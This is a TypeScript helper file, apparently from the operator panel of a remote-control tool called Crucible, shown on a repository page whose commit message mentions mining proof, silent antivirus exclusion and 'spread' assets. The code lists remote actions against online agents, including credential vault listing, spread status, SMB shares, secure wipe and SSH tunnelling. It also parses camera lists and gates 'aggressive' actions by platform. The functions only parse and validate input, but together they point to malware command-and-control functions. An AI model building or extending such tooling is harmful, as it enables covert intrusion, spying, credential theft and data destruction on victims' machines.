Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
139 lines
4.4 KiB
TypeScript
139 lines
4.4 KiB
TypeScript
import type { Agent } from '../types';
|
|
import {
|
|
aggressiveActionHint,
|
|
canRunAggressiveAction,
|
|
type AggressiveRemoteAction,
|
|
} from './aggressiveActions';
|
|
|
|
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
|
|
export const CRUCIBLE_PHASE_C_ACTIONS = [
|
|
'smb_shares',
|
|
'spread_status',
|
|
'credential_vault_list',
|
|
'secure_wipe',
|
|
'tunnel_ssh_forward',
|
|
] as const;
|
|
|
|
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
|
|
|
export function isWindowsPlatform(platform?: string): boolean {
|
|
if (!platform) return true;
|
|
return platform.toLowerCase().includes('win');
|
|
}
|
|
|
|
export function onlineAgents(agents: Agent[]): Agent[] {
|
|
return agents.filter((a) => a.status === 'online');
|
|
}
|
|
|
|
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
|
|
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
|
|
}
|
|
|
|
/** True when at least one online selected agent can run the aggressive action. */
|
|
export function selectionCanRunAggressive(
|
|
action: AggressiveRemoteAction,
|
|
agents: Agent[]
|
|
): boolean {
|
|
const targets = onlineAgents(agents);
|
|
if (targets.length === 0) return false;
|
|
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
|
|
}
|
|
|
|
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
|
|
export function selectionAggressiveHint(
|
|
action: AggressiveRemoteAction,
|
|
agents: Agent[]
|
|
): string | undefined {
|
|
const targets = onlineAgents(agents);
|
|
if (targets.length === 0) return 'Select at least one online node';
|
|
if (selectionCanRunAggressive(action, agents)) return undefined;
|
|
const blocked = targets.find(
|
|
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
|
|
);
|
|
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
|
|
}
|
|
|
|
/** Parse camera_list newline output into device paths/names. */
|
|
export function parseCameraListMessage(message: string): string[] {
|
|
return message
|
|
.split('\n')
|
|
.map((l) => l.trim())
|
|
.filter((l) => l.length > 0 && !l.startsWith('['));
|
|
}
|
|
|
|
export interface PortForwardRow {
|
|
id: string;
|
|
localPort: string;
|
|
remoteHostPort: string;
|
|
sshUser: string;
|
|
}
|
|
|
|
export interface SSHForwardPayload {
|
|
local_port: number;
|
|
remote_host: string;
|
|
remote_port: number;
|
|
ssh_user?: string;
|
|
}
|
|
|
|
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
|
|
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
|
|
const trimmed = raw.trim();
|
|
if (!trimmed) return null;
|
|
if (trimmed.startsWith('[')) {
|
|
const end = trimmed.indexOf(']');
|
|
if (end < 0) return null;
|
|
const host = trimmed.slice(1, end);
|
|
const rest = trimmed.slice(end + 1);
|
|
if (!rest.startsWith(':')) return null;
|
|
const port = parseInt(rest.slice(1), 10);
|
|
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
|
return { host, port };
|
|
}
|
|
const idx = trimmed.lastIndexOf(':');
|
|
if (idx <= 0) return null;
|
|
const host = trimmed.slice(0, idx);
|
|
const port = parseInt(trimmed.slice(idx + 1), 10);
|
|
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
|
return { host, port };
|
|
}
|
|
|
|
export function buildSSHForwardPayload(
|
|
localPort: string,
|
|
remoteHostPort: string,
|
|
sshUser?: string
|
|
): SSHForwardPayload | null {
|
|
const local = parseInt(localPort.trim(), 10);
|
|
const remote = parseRemoteHostPort(remoteHostPort);
|
|
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
|
|
const payload: SSHForwardPayload = {
|
|
local_port: local,
|
|
remote_host: remote.host,
|
|
remote_port: remote.port,
|
|
};
|
|
const user = sshUser?.trim();
|
|
if (user) payload.ssh_user = user;
|
|
return payload;
|
|
}
|
|
|
|
export function newPortForwardRow(id?: string): PortForwardRow {
|
|
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
|
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
|
|
}
|
|
|
|
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
|
|
if (rows.length === 0) return 'Add at least one forward row';
|
|
for (const row of rows) {
|
|
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
|
|
return `Invalid row: local ${row.localPort} → ${row.remoteHostPort}`;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
export type CrucibleDispatchArgs = Record<string, unknown>;
|
|
|
|
export interface CrucibleDispatchTarget {
|
|
id: string;
|
|
name: string;
|
|
}
|